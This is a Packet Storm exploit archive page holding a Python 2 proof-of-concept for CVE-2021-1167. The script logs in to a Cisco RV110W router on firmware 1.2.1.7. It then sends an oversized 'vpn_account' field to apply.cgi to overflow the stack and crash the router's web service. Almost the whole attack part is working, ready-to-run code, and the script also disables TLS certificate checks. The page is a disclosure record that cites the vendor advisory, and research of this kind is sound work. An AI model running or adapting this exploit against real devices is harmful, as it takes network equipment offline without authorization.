exploit the possibilities

Cisco RV110W 1.2.1.7 Denial Of Service

Cisco RV110W 1.2.1.7 Denial Of Service
Posted Jan 14, 2021
Authored by Shizhi He

Cisco RV110W version 1.2.1.7 vpn_account denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
systems | cisco
advisories | CVE-2021-1167
MD5 | 22bfead549943dbe0007ce4ce4a7b6f5

Cisco RV110W 1.2.1.7 Denial Of Service

Change Mirror Download
# Exploit Title: Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC)
# Date: 2021-01
# Exploit Author: Shizhi He
# Vendor Homepage: https://www.cisco.com/
# Software Link: https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.1.7
# Version: V1.2.1.7
# Tested on: RV110W V1.2.1.7
# CVE : CVE-2021-1167
# References:
# https://github.com/pwnninja/cisco/blob/main/vpn_client_stackoverflow.md
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-overflow-WUnUgv4U

#!/usr/bin/env python2

#####
## Cisco RV110W Remote Stack Overflow.
### Tested on version: V1.2.1.7 (maybe useable on other products and versions)


import os
import sys
import re
import urllib
import urllib2
import getopt
import json
import hashlib
import ssl

ssl._create_default_https_context = ssl._create_unverified_context

###
# Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco
# This PoC will crash the target HTTP/HTTPS service
###

#encrypt password
def enc(s):
l = len(s)
s += "%02d" % l
mod = l + 2
ans = ""
for i in range(64):
tmp = i % mod
ans += s[tmp]
return hashlib.md5(ans).hexdigest()

if __name__ == "__main__":
print "Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco"

IP = sys.argv[1]
PORT = sys.argv[2]
USERNAME = sys.argv[3]
PASSWORD = enc(sys.argv[4])
url = 'https://' + IP + ':' + PORT + '/'

#get session_id by POST login.cgi
req = urllib2.Request(url + "login.cgi")
req.add_header('Origin', url)
req.add_header('Upgrade-Insecure-Requests', 1)
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
req.add_header('User-Agent',
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
req.add_header('Referer', url)
req.add_header('Accept-Encoding', 'gzip, deflate')
req.add_header('Accept-Language', 'en-US,en;q=0.9')
req.add_header('Cookie', 'SessionID=')
data = {"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": "0",
"change_action": "",
"enc": "1",
"user": USERNAME,
"pwd": PASSWORD,
"sel_lang": "EN"
}
r = urllib2.urlopen(req, urllib.urlencode(data))
resp = r.read()
login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]
print session_id

#trigger stack overflow through POST vpn_account parameter and cause denial of service
req2 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
req2.add_header('Origin', url)
req2.add_header('Upgrade-Insecure-Requests', 1)
req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
req2.add_header('User-Agent',
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
req2.add_header('Referer', url)
req2.add_header('Accept-Encoding', 'gzip, deflate')
req2.add_header('Accept-Language', 'en-US,en;q=0.9')
req2.add_header('Cookie', 'SessionID=')
poc = "a" * 4096
data_cmd = {
"gui_action": "Apply",
"submit_type": "",
"submit_button": "vpn_client",
"change_action": "",
"pptpd_enable": "0",
"pptpd_localip": "10.0.0.1",
"pptpd_remoteip": "10.0.0.10-14",
"pptpd_account": "",
"vpn_pptpd_account": "1",
"vpn_account": poc,
"change_lan_ip": "0",
"netbios_enable": "0",
"mppe_disable": "0",
"importvpnclient": "",
"browser": "",
"webpage_end": "1",
}
r = urllib2.urlopen(req2, urllib.urlencode(data_cmd))
resp = r.read()
print resp
Login or Register to add favorites

File Archive:

March 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    19 Files
  • 2
    Mar 2nd
    15 Files
  • 3
    Mar 3rd
    30 Files
  • 4
    Mar 4th
    13 Files
  • 5
    Mar 5th
    10 Files
  • 6
    Mar 6th
    1 Files
  • 7
    Mar 7th
    2 Files
  • 8
    Mar 8th
    19 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close